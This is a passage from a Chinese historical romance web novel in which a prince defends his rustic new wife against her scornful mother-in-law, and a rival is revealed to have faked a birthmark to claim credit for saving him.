倒是好笑,魏珩素来擅字,一手楷行隶草笔迹刚劲,行云流水,常得魏父夸赞,娶了个小妻,倒是连一纸经文都抄得狼狈,倘若让旁人知晓,定要笑掉大牙。 魏珩迫近一步,居高临下地审视着沈青棠。 她居家的时候倒很惬意放松,一头乌发仅用锦葵红的发带松松束缚,鬓边垂下几缕,悠悠荡着,衔入沈青棠微启的红唇,有点碍眼。 偏她做了亏心事,眼下心惊胆战立着,连捋发都不敢。 魏珩抬指勾过沈青棠颊侧的那一缕发,挽到她的耳后。 男人白皙修长的指尖,抵在软韧的耳廓,渡来一重凉意,也惹得沈青棠情不自禁地战栗一瞬。 魏珩在触碰到沈青棠耳珠的霎那,竟看到她耳后的雪肤长着一颗艳丽如血的红痣。 魏珩不知想到什么,一双狭长美目倏地冷了下去,他微眯墨眸,俯地更低,静静逡巡那一颗圆润玲珑的小痣。 魏珩忽然靠得这般近,温热的鼻息,簌簌扑在沈青棠耳后薄软的玉肤之上,像是突如其来的山火,燎着她那棉絮似的绒绒碎发,令她无所适从。 沈青棠觉得痒,下意识想躲。 可就在此刻,她的后颈,忽然被一只宽大的手掌囚住。 魏珩的掌心厚重温热,捏着她颈骨的力道很重。 仿佛只要她挣扎一瞬,他就会收拢五指,毫不留情地将她折殒手心。 他一手握住她的后颈,一手抚向她耳后薄皮。 沈青棠被他的手指烫得一个激灵,心脏嗡鸣,几乎破膛而出,下意识咬住了唇,犹如惊弓之鸟一般缩紧腰.窝。 那点脆弱的软.肉,很快被魏珩揉红。 沈青棠不知魏珩想做什么,可她又在心底安慰自己……他是她的夫婿,他想做什么都可以,此为夫妻间的亲昵,她要适应,她要习惯。 沈青棠全无保留地奉献自己。 她胆战心惊地感受他的摩.挲。 她任他逞凶斗恶,任他肆意妄为。 男人常年用剑,手上薄茧厚重,生着粗粝的纹路,细细碾入耳后,带着难以言说的撩人痒意。 不过细微刁钻的一捻一搓,竟也令沈青棠鼻翼生汗,隐有雷云电花自她的颈骨一寸寸蔓延上来。 “你这颗痣……生来就有?” 魏珩那犹如金石相击的清润嗓音,灌入沈青棠的耳朵。 自此,沈青棠终于明白魏珩在摸什么了。 他在摸她耳朵后面的红痣。 沈青棠:”是生来就有的。” 魏珩没有再问。 明明是稀松平常的一句问话,却让沈青棠感到羞赧。 她怀疑是自己多心,毕竟魏珩不过轻描淡写说一句“耳朵有痣”,并无其他狎昵的含义。 可这般点明身上红痣、胎记的所在位置,又令人觉出一种难言的亲昵与暧昧。 仿佛她在他面前无处遁形,成了一具不着.丝缕的赤.裸肉.身。 她待他坦诚,毫无芥蒂,身上每一寸骨血皮肉,都该被他仔细端详,深重爱.抚,逐一碾.磨。 好在,几息之后,魏珩放过了她。 他松了手,又取来湿泞泞的帕子,一点一点帮沈青棠擦去颊侧的墨迹。 “不必挑灯熬夜抄经,这等小事,命下人代笔便是。” 沈青棠的下巴,被魏珩泛凉的手指挑起。 她睁着汪亮杏眼,仰面凝望眼前清辉玉映的男人,心虚地道:“可这是烧给先王的经文,不好怠慢……” 魏珩轻嗤一声:“人死身消,地底下埋着的,不过是一具白骨、一抔腐肉,诵再多的经文,父亲也听不到。再者……每年忌辰,太妃都会请北道法华寺的法师抄经供灯,你抄的这些经文,不会奉于先王灵前,又何必白费心力。” 魏珩深谙宅门的争斗,这些事不过是姜氏用来折辱沈青棠的手段,他又怎会让姜氏称心如意? 不等沈青棠再辩,魏珩已然唤来下人:“在外寻几个抄经生誊写经文,务必赶在先王忌辰之前,将誊本送回赵王府。” 沈青棠怔住:“要是太妃疑心这是旁人抄誊的经文怎么办?” 魏珩淡扫沈青棠一眼,“她不敢。” 有时,他当真觉得自己娶的小妻有点傻气。 此为王府,以魏室为尊。 即便魏珩指鹿为马,颠倒黑白,旁人也不敢置喙半句,又怕什么太妃怪罪? - 夜里,沈青棠漱齿洗脸后,爬上床榻。 她老老实实蜷进蝶恋花纹粉底锦被,等着魏珩沐浴归来,熄灯上榻。 许是几夜的相处,沈青棠对魏珩已有一点熟悉,和他同床共枕,也不像从前那般拘谨。 等魏珩上榻,沈青棠想到自己夜里脚冷,而魏珩体热……她想粘着他睡,也好取暖,故而殷勤地帮他掀开被角,作势挨近他一寸。 可不等沈青棠挪近,魏珩忽的摁住她的肩膀,低声告诫:“沈青棠,我明日还要早起练兵……若你有需,取玉势、角先生自、渎便是。” 避孕事的秘药还未备下,魏珩不会碰她。 沈青棠怔忪片刻,心道:她没想和魏珩行房啊……她只是想和他挤一个被窝,大家一起取暖。从前她在匪寨度日,隆冬难熬,还将香软的小羊羔抱到炕床上一同入睡呢! 可魏珩三番两次拒绝房事,沈青棠再愚钝,也懂了他的难言之隐。 难不成是他起势艰难,偶有不举? 沈青棠轻叹一口气:“王爷,今晚罗嬷嬷给我炖了一盅姜母鸭汤。说是益气养肾,对男子很好……明日也喊嬷嬷给你炖一盅吧?” 魏珩冷淡:“不必。” 沈青棠委婉劝道:“我知你的难处……王爷,我既与你成了夫妻,便不会舍你而去。即便你有隐疾也无碍,我不会嫌弃你。” 魏珩何等聪慧,怎会不明沈青棠旁敲侧击的暗示? 她竟以为他不能人事? 魏珩薄唇微抿,墨眸渐沉,他压抑片刻,还是从被衾之中,攥住沈青棠的手,将她猛地拽近,抵在了紧绷遒劲的窄腰之上。 自此,沈青棠明白了,魏珩龙精虎猛,并无难言之隐。 分明是一手难以满握,连虎口都能被硌得酸痛。 沈青棠回魂了,她想到新婚夜的艰涩,终是不敢再开口撩拨。 “是我小觑王爷了……” 沈青棠结结巴巴说了一句,又老实缩回手,背对着魏珩睡下了。 10、第十章 第十章 十一月底,冬至。 赵王府设下亚岁宴,北道四州的豪族阀阅无不以接到王府请柬为荣。 一时间,王府外头车马盈门,宾客如云。 金钉大门两侧,侍立着两排丫鬟婆子,一旦有贵客入席,便殷勤上前,递脚凳、塞手炉、撑伞挡雪,半点不敢让宾客淋雪受凉。 入了王府正门,另有练达老成的姚管事站在琉璃影壁前,笑着迎来送往,再根据各府的人丁、声望、家世,有序地安排主次座位,送入筵席。 此次亚岁宴,光是置办河鲜山珍、暖洞子培的瓜果冬菜、饴糖果脯,就花去了上千两白银,更别说那些铺陈饭厅的钧窑瓷皿、用于踩踏的地衣毛毯,得价值几何了。 好在魏珩父子多年来镇守北道,扶持桑牧,兼营矿冶,几十年积累下来,家赀早已不计其数。 府上家底殷实,自然不怕姜氏那点宅门里头的铺张挥霍。 前头院子招待宾客,后头公厨忙得不可开交。 姜氏假借“教导宴饮中馈之道”,唤沈青棠过来公灶随侍。 听着像是婆母善待儿媳妇,欲言传身教,交接手中掌家大权。 实则是姜氏想寻个名目,正大光明奚落沈青棠这等乡下小妇。 姜氏心知肚明,沈青棠如今有魏珩罩着,她动她不得。但婆母指点儿媳主持宴会,实乃规矩分内,任谁都挑不出错来。 姜氏有心挑剔沈青棠,故意让丫鬟婆子取出一只只不同官窑烧出的瓷皿,供她挑选宴饮所用的餐碟碗筷。 只要沈青棠说错一句,姜氏便会冷笑一声,讥嘲:“这些待客接物之道,寻常女孩七岁便要学起,你怎不会?可是亲家母没有用心教你?” 说完,她又佯装恍然大悟:“哦,我倒忘了,亲家母仙逝,你自幼丧母,自然不通这些礼数……” 姜氏这话说得难听,暗指沈青棠有娘生没娘教,才会长成这般顽劣粗鄙的性子。 姜氏骂点别的,沈青棠还能左耳进右耳出,可偏偏她骂的是沈母…… 沈母在沈青棠三岁那年离世。 对于母亲的记忆,沈青棠早已模糊不清,可她唯独记得娘亲性柔爱笑,抱着她时,身上还有好闻的桃子香气。 沈青棠的指尖微颤,唇色发白,良久无言。 身后的秀珠看出一点端倪——姜氏训斥得太过,分明在公报私仇,毕竟哪家长辈会这般戳人伤疤?怪难听的。 秀珠心气不平,作势要去找罗嬷嬷撑腰,可沈青棠却看出她的动作,一把抓住了她的手,暗下对她摇摇头。 婆媳不睦嘛,实属常事。 沈青棠既享受王府的金银富贵,还拥有经天纬地的英武夫君,受点委屈,也是理所应当。 即便秀珠不去告状,也有罗嬷嬷的耳目将后院诸事,事无巨细通通禀报于她。 罗嬷嬷拨弄佛珠的指骨顿住,眉峰舒缓,“倒是个擅忍的好姑娘。” 罗嬷嬷思忖了一会儿,还是召来信鹰,给军所报信儿去了。 - 亚岁宴开始了。 花梨锦桌上摆满了山珍海味、佳酿甜饮,正中央还有一座用糕饼、乳酪、干果堆垒的塔山,缀以红棉金线,再剪一张“阳”字喜纸,寓意迎阳添喜。 王太妃未到,即便发话让宾客们随意动筷,也无人会僭越开宴。 客人都是高门大户出身,谁家都不差那口吃的。 只在丫鬟们奉上净口的茶汤后,喊来教养嬷嬷们,将耐不住饿的哥儿姐儿领去偏房暖阁,喂一口笋丝年糕汤,或是瑞兔赤豆汤圆,垫一垫肚子。 檀州姜家立足北道百余年,门厅煊赫,门生旧故遍及四州,又与周国魏室缔结姻亲,自然得高坐首席,受士族逢迎追捧。 席上,姜老夫人作为王府岳家,笑着与众人寒暄,帮着操持家宴。 四房的六姑娘姜窈见无人看她,忍不住动筷,想夹一块莲蓉糕甜甜嘴。 筷子刚拎起来,就被四夫人一巴掌拍落,吓得她一个哆嗦。 四夫人恨铁不成钢地低骂:“就这点时辰都饿不住?你饿死鬼投胎么!” 姜窈颇为委屈:“夜里要赴宴,我都跟着娘亲试了一下午衣裙,一口甜汤没喝上,自然是饿了。” 四夫人听得心惊肉跳,赶忙去捂自家闺女的嘴:“小祖宗,可闭嘴吧,这让人听见,成什么样子?” 四夫人出身不高,不过是檀州司法参军之女,因她生得颜色好,被四爷瞧中,嫁进百年世家姜氏。 也是如此,她事事拘谨小心,生怕被旁人瞧出小户女的寒酸贫气。 这般家宴,对于旁人来说是司空见惯的筵席,可对于四夫人来说,却是从前望而却步的皇家大宴,又怎敢不悉心对待? 四夫人被女儿呛了一嘴,心中不免悲切,果真是“龙生龙凤生凤老鼠的孩子会打洞”,她怎就生出这么个嗜吃多话的女孩儿? 这小家子气的做派,半点都及不上二房那位五姑娘姜若水。 四夫人咬牙切齿:“再有几日,你五姐姐就游学回来过年关了,你多和她学学世家淑女待人接物的仪态,免得日后出门贻笑大方!” 听到那句五姐姐,姜窈瞬间倒了胃口,讪讪罢筷,连甜糕都不想吃了。 旁人都说,姜家这位五姑娘姜若水才貌超群、文采卓绝,北道的世家公子为了求娶姜若水为妻,险些把姜家的门槛踩塌了! 可姜窈却想,倘若五姐姐当真那般好,魏家大表哥又为何非娶一名乡下农女,却不愿娶她?要知道,六年前,魏珩遇袭,姜若水还救过他一命呢! 姜窈不喜欢姜若水,想到她要回府过年,如临大敌。 年关的时候,她肯定又要被人单拎出来同堂姐比较,做那衬托娇花的绿叶了。 胡思乱想间,席间的嬉闹声骤降。 姜窈心中微动,明白这是王太妃和王妃驾到,众人都在翘首以盼,想见一见这位麻雀变凤凰的赵王妃沈青棠。 姜窈也对沈青棠感到好奇,她忍不住仰颈,朝远处廊庑眺望。 只见挂满煌煌红绡灯的屋檐底下,缓步行来一名女子。 她穿着一身橘橙底缠枝金纹袄裙,腕戴一双羊脂白细镯,梳着流苏髻,几条珠翠珍珠点缀的槐花黄绿丝带,轻轻柔柔垂落脑后,搭在削瘦的肩头,衬得那张雪腻小脸愈发琼丽娇媚。 杏眸、樱唇、琼鼻,五官无一不精致,身段亦窈窕秾艳……这等风姿,堪称北境罕有,比之五姑娘姜若水也不遑多让。 此女竟然就是那个高嫁的赵王妃? 姜窈被沈青棠惊艳到了,一时间连口鼻气息都窒住了。 姜窈不免疑心,魏大表哥执意要娶沈青棠,怕不是被她的美色蛊惑吧? 但也不应该啊,魏珩自己就生得雪胎梅骨,颇有姿色,不至于被女子的殊色引诱。 - 沈青棠跟着姜氏走向远处待客的花厅。 甫一进屋,她就感受到四面八方递来的敏锐目光。 那些视线有探究、好奇、讥讽,恶意善意什么情绪都有,实在令人浑身不适。 宴厅的气氛骤然冷凝起来。 还是姜老夫人打破了这一重寂静,她朝着沈青棠招招手,笑道:“这就是我那外孙媳妇吧?” 沈青棠乖巧地行礼:“青棠见过外祖母。” 姜老夫人是魏珩的嫡亲外祖母,却不是太妃姜氏的生母,细数起来,倒和沈青棠关系更近。 府上一应庶务族事都尽数掌控于姜老家主的手中,姜老夫人不过是个内宅妇人,插不上半句话。 真让她来决断的话,她是不忍心抬举一个庶女去填她那早逝嫡女的房。 这要是让九泉之下的女儿知道,该有多恶心? 无奈姜家要同赵王府绑在一条船上,只能通过姻亲,缔结两家关系。 她也知道,姜老家主还想将姜若水许配给魏珩,亲上加亲。 奈何魏父横插一脚,毁了这门亲事,倒教姜老家主几夜不曾合眼,猜忌这位天家女婿是否羽翼丰满,想要卸磨杀驴,与从前助他扎根的岳家撇清干系…… 姜老夫人细细打量眼前的外孙媳妇,瞧她胸臀饱满、月貌花容,倒是个福缘深重的样貌。 姜老夫人笑道:“真是个嘴甜的,倘若宁姐儿在世,也会喜欢你的。” 说完,姜老夫人褪下腕上的檀木珠串,戴到了沈青棠的手上,又重重捏了下小姑娘的手,将掌心暖意渡给她。 宁姐儿是魏珩生母的小称。 也就只有姜老夫人有这般的胆子,敢在王太妃姜氏面前,提及先太妃,落她的脸面。 太妃姜氏顿时脸色难看,她不敢瞪自家嫡母,只能去瞪惹事的沈青棠。 沈青棠不懂这些家宅的弯弯绕,她只觉得姜老夫人说话和善可亲,并不像她想象中那般凶恶。 沈青棠欢喜地收下见面礼,还给姜老夫人端了一盏花茶润喉。 主人家到了,众人动筷用膳。 沈青棠落座还没来得及吃上一口点心,就被姜氏喊去见客。 沈青棠无法,只能搁下筷子,站起身帮忙接待客人。 东暖厅的宾客大多都是上流世家的官眷,需尽心招待。 西暖厅则不同,落座的都是些末流世家的女眷,不值当姜氏费心斡旋,可姜氏却最喜欢在西暖厅久留。 因着这些世家夫人统统倚仗赵王府的鼻息度日,待姜氏也多有敬重,不敢有半分怠慢,甚至姜氏人还未至暖厅,诸位夫人们就已经放下筷子,纷纷起身给二人下拜纳福。 暖厅里除却一些州郡官眷,还有几位曾是姜氏闺中手帕交的世家夫人。 从前待字闺中,几人都是家中不起眼的庶女,彼此结识一场,抱怨两句家中嫡母尖酸刻薄,还算融洽。 偏偏姜氏走了好运道,竟成了老王爷的正妻,虽说膝下无子,且是替嫡姐养儿子,可魏珩争气,在外军威深重,已成气候,前途不可估量,又怎会不令人心中羡慕? 唯一能任她们私下闲话的,也就只有那位刚娶进门的农女新妇了。 几人约好了一起登门看姜氏笑话,哪知沈青棠生得一点都不像乡野小户女,眉眼水灵,肤光胜雪,不知什么样的脂膏才能保养出这样一身雪腻的皮相,让人想奚落,都无从下嘴。 孟夫人一口闷气压不下去,她碍着家中丈夫子侄都在檀州做官,不好说些闲话,以免惹祸上身。 她想了想,只能拉过沈青棠的手,对姜氏笑道:“太妃好福气,迎进门的王妃也这般水灵,瞧着就是个多子多禄的好姑娘,保不准再过几个月,府上又能添丁进口了。不像我家那口子,新妇娶进门,过了半年肚子里才有好信儿。” 这话看似夸赞沈青棠“好生养”,实则是想把话题引到她家儿媳身上,好教旁人知道,他们家宅是个福缘深厚的,新妇进门半年就怀上身孕了。 仅仅几句话,姜氏便回过味来。 怕是外人都知道,魏珩娶妻后没留几日,立马出关御敌,将新婚妻子舍在家中……沈青棠失宠一事,早成了檀州人尽皆知的笑话,孟夫人笃定魏珩不会为沈青棠出头,开罪她也没什么后果,这才敢拿沈青棠尚且没有动静的肚子,故意来讽刺姜氏也是个不会下蛋的母鸡。 孟夫人的话说得圆滑,乍一听都是好话,倒让姜氏不知该说什么来辩驳。 不等姜氏反唇相讥,墙外忽然响起了纷沓而至的齐整脚步声。 院门大开,朦胧寒冽的夜雾,尽数涌进摆满千枝铜灯的庭院。 一角玄色衣袍掠过,传来令人心惊的猎猎响动。 再抬眼,便见一袭巍峨如山的高大身影,自院外扶剑踱来。 男人宽肩窄腰,背脊挺拔如松,一袭黑狐氅衣披身,出锋皮草掩住线条凛冽的下颌,将那双藏锋寒戾的凤眸,衬得更为冷厉可怖。明明生得一副得天独厚的琼秀面容,偏他气息强势矜贵,半点不似天潢贵胄,倒像是阴司地府前来索魂的罗刹杀神。 此人正是北道藩王魏珩。 不等东西两厅的宾客们起身行礼,魏珩先抬起美目,牵唇讽刺:“本王倒不知,孟夫人热心至此,竟连旁人生子的床笫私事,也要争先打听。” 此话一出,众人浑身一颤,毛骨悚然。 他们总算明白过来……神龙见首不见尾的魏珩为何忽然参宴。 他哪里是生出什么吃酒的闲心,分明是来辟那个“赵王妃不受宠”的谣言,上赶着给自家媳妇撑腰呢! 11、第十一章 第十一章 魏珩的话不过一句席间的调侃讥嘲,并无发落的意思。 可他贵为北道藩王,话语多重,仅仅一句敲打也够孟家喝一壶的。 孟夫人吓得两股战战,额头冒汗,她心知今日这场挂落吃了,日后那些官署上峰定会找机会给孟家子弟穿小鞋。 孟夫人心中痛恨自己太过嘴贱,非要去讥沈青棠一句,可姜氏却受宠若惊,挺直了腰板,再怎么说,这场子都算是被魏珩找回来了。 魏珩懒得和这些长舌妇计较,他只垂眼打量沈青棠,握了下她的臂骨,女孩的衣袖浸透风雪,令他的掌心也变得冰冷,显见她吹风许久。 魏珩解开身上狐氅,裹到沈青棠的肩上。 温热厚重的大氅倏地披身,险些压得沈青棠一个趔趄。 熟稔雪松涩气强势灌入沈青棠的鼻腔,毛茸茸的狐裘抵在她的下颚,搔得她好痒。 偏偏魏珩还没放过她,他探出两根温玉似的白皙手指,散漫惫懒地拉扯系带,当着众人的面,帮沈青棠披衣缚带。 如此拢得严实,挡住所有风雪,魏珩方才慢条斯理地道:“昨日不是还说身子骨疲乏,染了寒症?不在屋里头歇着,上宴席瞎跑什么?” 沈青棠眨了眨眼睛,她几时染上风寒了? 她刚要开口争辩,两侧腮帮子又被男人恶趣味地捏住,闷闷地止住了声音。 魏珩偏头看向姜氏,冷声道:“母亲,王妃身子不适,我先带她下去歇息。” 魏珩当着诸位宾客的面,唤姜氏一句“母亲”,也算是赏她一点颜面。 姜氏本就倚仗魏珩的权势,又怎敢与他作对?自是忙不迭答应下来,还对沈青棠嗔怪道:“怎么不早说?倘若为娘知道你昨夜受寒,早早让你歇着去了!” 姜氏如今笑脸相迎的模样,与此前那个尖酸恶婆的嘴脸判若两人,亦让沈青棠明白过来,有魏珩在后宅撑腰,她的日子不会难过。 魏珩身为她的夫婿,即便与她不熟,他亦会行使夫君的职责,护她、敬她、爱重她。 有这么一瞬,沈青棠竟觉身上的狐氅好暖,鼻尖也泛起绵绵的酸。 夜风熏软,没有半点隆冬的寒冽。 魏珩护着沈青棠回到了后院。 路上,沈青棠担忧地问:“太妃这般看重亚岁宴,偏我丢下宾客,跟着王爷走了……会不会有人说我恃宠而骄?” 魏珩神色淡漠,不以为意地勾唇:“只有家中丈夫没用,女眷才会担心开罪外人。” 话中意思便是——沈青棠的夫君乃北地最有权势的男人,她得魏珩宠爱偏袒,就算上房揭瓦,下边也多的是想要搭把手的人。 这样一想,沈青棠又觉得这门婚事结得很好,至少她没受那么多闲气,魏珩也站在她这一边。 等沈青棠推开寝房的门,汤面腾腾的热气儿铺了满脸,她这才看清楚,原来寒香院里早早设了小宴。 桌上置着雪里蕻、鸡丝炖煮的年糕汤、豆粉汤圆、鳝丝羹,还摆着两碗热气腾腾的羊肉水饺。 民谚有云:“冬至不端饺子碗,冻掉耳朵没人管。” 这是北道州郡的节俗,再穷的人家,也要去买半斤白面,揉一锅饺子吃。 沈青棠被姜氏使唤一天,没能吃上两口热食,又要起身接待宾客,腹中饥肠辘辘,早就饿扁了。 老实说,一贯心大的沈青棠,在今日受到姜氏奚落的瞬间,竟也生出那么一点高嫁的悔意。 原来赵王妃位的那二百两月例,拿起来这么烫手,这么辛苦。 可沈青棠劳累一整日,又被婆母嘲讽“娘家无人”,最后魏珩及时赶到,将她救回寒香院……在看到这样一桌精致的冬至夜宴的时候,沈青棠心里的寒意又尽数消散,涌起另一重充盈的暖意。 她的手脚不冷了,鼻子变得好酸。 端碗吃饺子的时候,沈青棠的眼泪蓄在眼眶里,转着转着,没能兜住,竟吧嗒吧嗒落到碗里。 魏珩微微阖目,知道小姑娘面皮嫩,没追问她哭泣的原因,只无奈取帕,帮她擦去颊侧的泪痕,“羊肉饺子就这么香?竟吃到落泪。” 沈青棠不知道说什么好,她不擅长撒娇,也不知该如何讨魏珩欢心,只红着一双眼,吸了吸鼻子,亲近地问他:“王爷,冬天太冷了,我夜里能不能抱着你睡?” 魏珩垂眸看她,不置可否。 可到了晚上,沈青棠洗漱擦身后,还是壮着胆子捱紧魏珩。 她想,她是魏珩明媒正娶的妻子,她不该那么矜持。 爹娘都离世了,她选择魏珩作为她的丈夫、家人,合该与他更近一点。 这般想着,沈青棠小心翼翼伸手,拥住身旁的魏珩。 那股冷冽强势的雪松气息再次萦绕沈青棠的鼻尖,寒浸浸的,如霜似雪,拒人千里。 但沈青棠想煨烫它,刻意将巴掌大的小脸埋到魏珩衣襟微开的胸膛,卖乖地蹭了蹭。 她倒是很守规矩,说抱就只是抱着,侧脸挨靠魏珩,没有用柔软樱唇,或是艳红小舌,舔.舐他的骨血皮肉。 魏珩目光所及之处,唯有一个黑绒绒的脑袋,以及一双牢牢缠住他遒劲窄腰的纤手。 魏珩低头看了一会儿,想到沈青棠一贯有缠抱旁人入睡的习惯,便也随她去,没有狠心搡开胆怯的小妻子。 只是沈青棠头一次清醒的时候抱人,她既羞赧又无措,睡也睡不着,呼出来的热气儿湿漉漉的,淋到那片赤着的胸膛肌理,撩得魏珩有点痒。 果真还是不喜旁人太近。 魏珩冷着眼,伸手去掰沈青棠的脸,试图将她推远。 抬起妻子下颌的瞬间,又对上她狗儿似的湿润黑眸。 魏珩静默片刻,还是松开了一点手间凶悍的力道,任她为所欲为,“你名里的棠字,可是海棠的‘棠’?” 沈青棠点头:“我是五月出生……那时寨子里开着西府海棠,我娘见花色好看,便给我起名‘青棠’。” 西府海棠耐寒喜阳,极容易养护,在北道的山岭间很是常见。并非什么名贵花种,谁都能培育,沈青棠就在寨子里养过几棵。 魏珩问完,不知在想什么,竟半晌无言。 他溜猫逗狗似的随意揉了一把沈青棠的脑袋,拉高被子,同她道:“睡吧。” 这一夜,沈青棠难得一夜好眠,竟睡到了日晒三竿。 她被阳光刺痛眼睛,茫然爬起身,手往床侧一摸,被褥冰凉,魏珩早已走了。 屋外传来翻土的响动,沈青棠披衣下地,推窗去看。 竟是奴仆们挪来几棵西府海棠的树种,帮着栽到院角。 秀珠笑道:“王爷一早吩咐人去集市淘了几棵花树,移植院中,说是王妃喜欢,待来年五月开花,可以在寒香院里品茶赏花。” 沈青棠看着那几棵光秃秃的花树,意识到这是魏珩送她的礼物…… 她的胸腔满涨,心脏也好似裹了一层厚厚的糖浆,琉璃似的饴糖裂开小缝,甜腻温热的蜜汁子,自心窍泊泊淌出。 沈青棠第一次对赵王府生出“家”的感觉,好似她也能像那几棵花树一样,在此地生根发芽,长长久久地生活下去。 - 又过了几日,入了腊月,年关将至。 各家又开始忙碌年节,筹备年货、腊祭,还有熬煮腊八粥,连同赏钱一起,分发给王府各院的奴仆。 沈青棠带着王府里的一些甜糕吃食,抽空去了一趟许家。 沈青棠将那一只十二匣的点心攒盒打开,一样样给许婆婆介绍:“这是水晶脍,这是蜜煎樱桃、这是五香糕……” 除了这些市面上买不着的吃食,沈青棠还给许婆婆、许砚各买了一身夹棉的冬衣。 许婆婆嘴上说,来就来了还带这么多东西,埋怨沈青棠乱花钱,不给自己攒一些体己钱。可看着小姑娘贴心的行径,心里头又一阵熨帖。 老人家关心孩子的方式便是喂食,说着说着又想去杀一只老鸭来炖汤。 许婆婆一走,沈青棠便从包袱里取出一只青玉剑穗。 玉环是她上珠宝铺子里淘来的,孔心缠了银色丝绦,烛光下泛起莹莹如雪的光泽。 “喏,你的生辰礼,可喜欢?” 许砚抿出一点笑意,收下剑穗,“青青姐送的,自然喜欢。” 许砚将剑穗缚到剑柄上,又满怀希冀地问:“青青姐,你除夕那夜能偷跑出来吗?若是可以,我们像少时那样,一道儿过年。” 许是怕沈青棠为难,许砚还补了一句:“多晚都行,我在家中等你。” 原以为沈青棠会好好考虑一番,哪知她摇摇头:“不成的,先不说王府设宴,便是王爷除夕夜也得回府过年啊。” 她既已嫁魏珩为妻,自该和自家夫君一道守岁过年。 许砚一怔,心中失落。 他借着屋中烛光,偷偷看了沈青棠一眼。 灯下的女子面容恬静,嘴角含笑,黄澄澄的烛芒自她的乌发流泻而下,镀上一重柔软温润的光,令人挪不开眼。 从前沈青棠一提到魏珩便一脸如临大敌,可今日她说起魏珩,颊上竟有浅浅梨涡,显然是含着笑意。 想来夫妻二人朝夕相处,同床而眠,再硬的心肠都能焐热,遑论沈青棠是这样心软的人…… 只要魏珩给她一点好处,她就能既往不咎,掏心掏肺地对他好。 12、第十二章 第十二章 北道,南山驿。 一队披坚执锐的精兵,肃穆列阵,镇守官道,不让庶民百姓进驿站落脚,显见是怕这些凡夫俗子冲撞了投宿的贵人。 驿站内,堂倌听从高门婢子的吩咐,战战兢兢提着水桶入屋,连眼风都不敢乱瞄,生怕一个冒渎贵女的罪名落下来,会让他顷刻间尸首异处。 但堂倌担心的事并未发生,反倒是屋里的贵人见他提水艰难,还笑着对一旁的丫鬟清露道:“清露,你去给小兄弟拿点赏钱,也好谢小兄弟提水操劳一场。” 那嗓音温柔娇润,婉若山谷黄鹂,听得人身子都酥了半边。 堂倌没想到自己非但没有惹祸上身,还拿到了赏钱,急忙磕头谢恩:“多谢小娘子,您当真是菩萨心肠!” 清露听到堂倌道谢,一面把钱塞到他怀里,一面得意地道:“那是自然,我们五姑娘人美心善,北道四州无人不夸的!好了,拿了钱便退下吧。” 堂倌走后,清露帮着自家五姑娘姜若水整理新衣,灌好满满一浴桶的热水,继而退出客房。 榻上那名闭目养神的妙龄少女,待房门合拢,方缓慢睁开眼睛,袅袅娜娜地起身,落座镜前。 只见打磨得光可鉴人的银镜内,倒映出一张国色天香的娇颜,眉若柳叶,唇红似霞,生得闭月羞花,宛若画中宓妃。 正是姜家二房的女孩,姜若水。 姜若水坐定后,取出赭石,添水,研磨成红浆。 随后,她又从暗匣里取出骨针,饱蘸红色汁子,对准了耳后那一枚明显变得黯淡的红痣,轻轻扎了下去。 新伤添旧疤,疼得不行。 姜若水忍着痛楚,重新将耳后的小痣纹上赤色,待红痣再度变得鲜明,她方才如释重负放下骨针,取帕子擦去多余的血迹。 为了让耳后这枚小痣风吹不落,雨淋不化,姜若水需得每三月上针一回,方能留住这点艳色。 这是姜若水在魏珩面前的体面,亦是她人前人后都要守住的秘密。 这么多年,她独得魏珩的重视与偏疼,这点小痣的痕迹功不可没。 可是,一贯对她另眼相待的魏珩……怎么忽然娶了一个乡下农女为妻? 姜若水想不明白,她茫然盯着镜中艳冠群芳的那张俏脸,想起了从前的事。 六年前,姜老家主听从北地藩王魏父的军令,护送粮车,赶往战场前线。 途中,姜老家主发现求援的狼烟,救下昏迷不醒的魏珩。 从亲卫口中,姜老家主得知:外孙在奔赴前线的途中遇刺,得一名十多岁的少女搭救。山中的狼烟、魏珩身上的止血草药,皆是那名少女所为。 魏父不愿亲子受外戚摆布,多年来一直不让魏珩过多亲近外祖家。以至于魏珩长到了十八岁,姜老家主和外孙魏珩都不算熟稔。 由此可见,魏父明显是想与北道世家分割,不愿再牵扯至深。 眼见着赵王府愈发势大,兵力强盛,姜老家主又攀附不得魏父,心中干着急。 既女婿靠不住,姜老家主便生出了拉拢外孙魏珩的心思。 今日,姜老家主得知魏珩中箭毒发,视力不清,连马背都爬不上去……他心念一动,顿时起了偷梁换柱的心思。 姜老家主先从亲卫口中得知:那名救人少女耳后生着一颗红痣,名唤青青。 再杀人灭口,将所有知情的亲卫屠戮山坳,伪造成“王府亲卫护主不力,尽数牺牲,唯独魏珩生还”的假象。 最后,姜老爷子推出二房孙女姜若水,将她耳后点上红痣,送到了魏珩面前。 只可惜,姜老爷子没能寻到那名救人的少女,若是能把她杀了,此局才算天衣无缝。 姜若水被迫守在重伤卧榻的魏珩身边。 没过多久,榻上的少年郎施施然醒转,他生得俊秀,即便一脸苍白病弱,也难掩那通体雍容矜贵的天家气派。 姜若水不是第一次见到这位王世子表哥,但很显然,魏珩扫来的目光冷漠,对她并无印象。 再怎么说,当时的姜若水都只是十二三岁的稚嫩少女,她冒名顶替魏珩的救命恩人,心虚胆怯,不敢说话。 可姜若水想到祖父的嘱托,以及赵王府的煊赫……只能硬着头皮上前,甜甜一笑:“表哥,你怎么在梦里也一直唤我小名‘清清’啊?你身上的伤好些了吗?此前你在山中遇袭,流了好多血,若不是我随祖父途经山道,你怕是要死在那里了!” 魏珩略一皱眉,浓长雪睫轻颤。 他的眼疾尚未痊愈,隐约只能看到一点眉眼轮廓,以及色彩浓艳之物。 他隐约记得有一名唤作“青青”的少女救了他,不但帮他燃起求援的狼烟,还喂他服下镇痛护心的药丸…… 魏珩毒发,视物不清,意识迷离,他没看清人脸,隐隐只记得对方靠近时,耳后有一颗刺目灼眼的红痣。 魏珩嗓音低哑:“是你救了我?” 姜若水眨眨眼睛:“当然了,除了我还能有谁?” 闻言,魏珩并未流露出喜色,而是微微拧眉,冷厉唤了一声:“章远何在?!” 章远乃魏珩麾下亲卫,待魏珩忠心耿耿,此前遭遇刺客突袭,还为他挡下了一箭。 魏珩连喊几声,牵连胸膛伤势,硬是吐出一口鲜血。 可见他伤势之危急,倘若晚上一步,怕是性命不保。 姜若水见他咳血,着急递帕,对他道:“珩表哥别喊了……你的亲卫为了护主,尽数罹难,无一生还,祖父已经命人收殓英烈尸骨,将他们入土安葬了。” 魏珩指尖一动,薄唇紧抿。 良久,他瞥见姜若水耳后的那一颗艳如血珠的红痣,终是什么话都没说。 …… 